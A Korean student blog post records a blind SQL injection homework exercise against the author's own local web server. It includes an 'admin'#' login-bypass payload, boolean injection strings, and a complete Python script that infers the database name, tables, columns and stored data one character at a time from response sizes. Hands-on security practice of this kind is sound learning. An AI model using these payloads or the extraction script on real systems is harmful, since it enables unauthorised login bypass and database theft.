Blind SQL Injection 실습(과제)

Peroro·2023년 5월 9일
0
post-custom-banner

Blind SQL Injection

  • 내가 만든 웹서버를 통해서 공격을 해보는 시간을 가져보았다.

  • 위와 마찬가지로 간단하게 뚫리는 것을 볼 수 있다. 사실은 Blind SQLI를 쓸 것도 없이, 아래와 같은 방법으로 쉽게 뚫린다.
admin'#
  • 하지만 오늘은 Blind SQLI를 실습하기 위해서 아래와 같은 방법으로 공격을 진행해보았다.
  • 먼저 form을 아래와 같이 순서대로 만들어 보았다.
# mario' and '1' = '1' and '1' = '1
# mario' and (ascii('t')) > 0) and '1' = '1
# mario' and (ascii(substring('test', 1, 1)) > 0) and '1' = '1
# form: mario' and (ascii(substring(sql, j, 1)) > i) and '1' = '1
  • 다음으로 참과 거짓을 구별해보았다.
import requests

URL = "http://192.168.64.2/check_login.php"
datas = {'id': '', 'pw': 'mariosuper'}

#datas['id'] = 'mario'

#response = requests.post(URL, data=datas)
#print(len(response.content))

#datas['id'] = 'luigi'

#response = requests.post(URL, data=datas)
#print(len(response.content))

  • 참일 때는 143, 거짓일 떄는 197의 사이즈가 나왔다. 나는 이를 이용하여 아래와 같이 파이썬 코드를 짜보았다.

코드

import requests

form = "mario' and (ascii(substring(({0}), {1}, 1)) > {2}) and '1' = '1"
sql = ["select database()",
"select table_name from information_schema.tables where table_schema = '{0}' limit 2,1",
"select column_name from information_schema.columns where table_name = '{0}' limit 3,1",
"select {0} from {1} limit 1,1"]

URL = "http://192.168.64.2/check_login.php"
datas = {'id': '', 'pw': 'mariosuper'}

word = []# DB_name, table_name, column_name, data 순서
for k in range(0,4):
    snd = sql[k]
    # k == 0: select database()
    if(k == 1):
    #select table_name from information_schema.tables 
    #where table_schema = 'DB_name' limit 2,1"
        snd = sql[k].format(word[0])
    elif(k == 2):
    # select column_name from information_schema.columns 
    # where table_name = 'table_name' limit 3,1
        snd = sql[k].format(word[1])
    elif(k == 3):
    #select 'column_name' from 'table_name' limit 1,1
        snd = sql[k].format(word[2], word[1])
    i = 1;
    ans = ''
    print(snd)
    datas['id'] = form.format(snd, i, 0)
    while(len(requests.post(URL, data=datas).content) == 143):
    # 글자 존재 유무 확인
        for j in range(33, 128):
            datas['id'] = form.format(snd, i, j)
            if(len(requests.post(URL, data=datas).content) == 197):
            # 처음으로 로그인이 되지 않은 글자가 해당 글자.
                ans += chr(j)
                print(chr(j))
                break
        i += 1
        datas['id'] = form.format(snd, i, 0)

    print(ans)
    word.append(ans)

print(word)

결과

  • limit의 값을 조정해 여러 table, column, data를 추출할 수 있었다.
profile
오늘 공부한 것을 올리는 공간 / 일주일에 글 3개 / 블로그 이전 : https://perorochan321.tistory.com/
post-custom-banner

0개의 댓글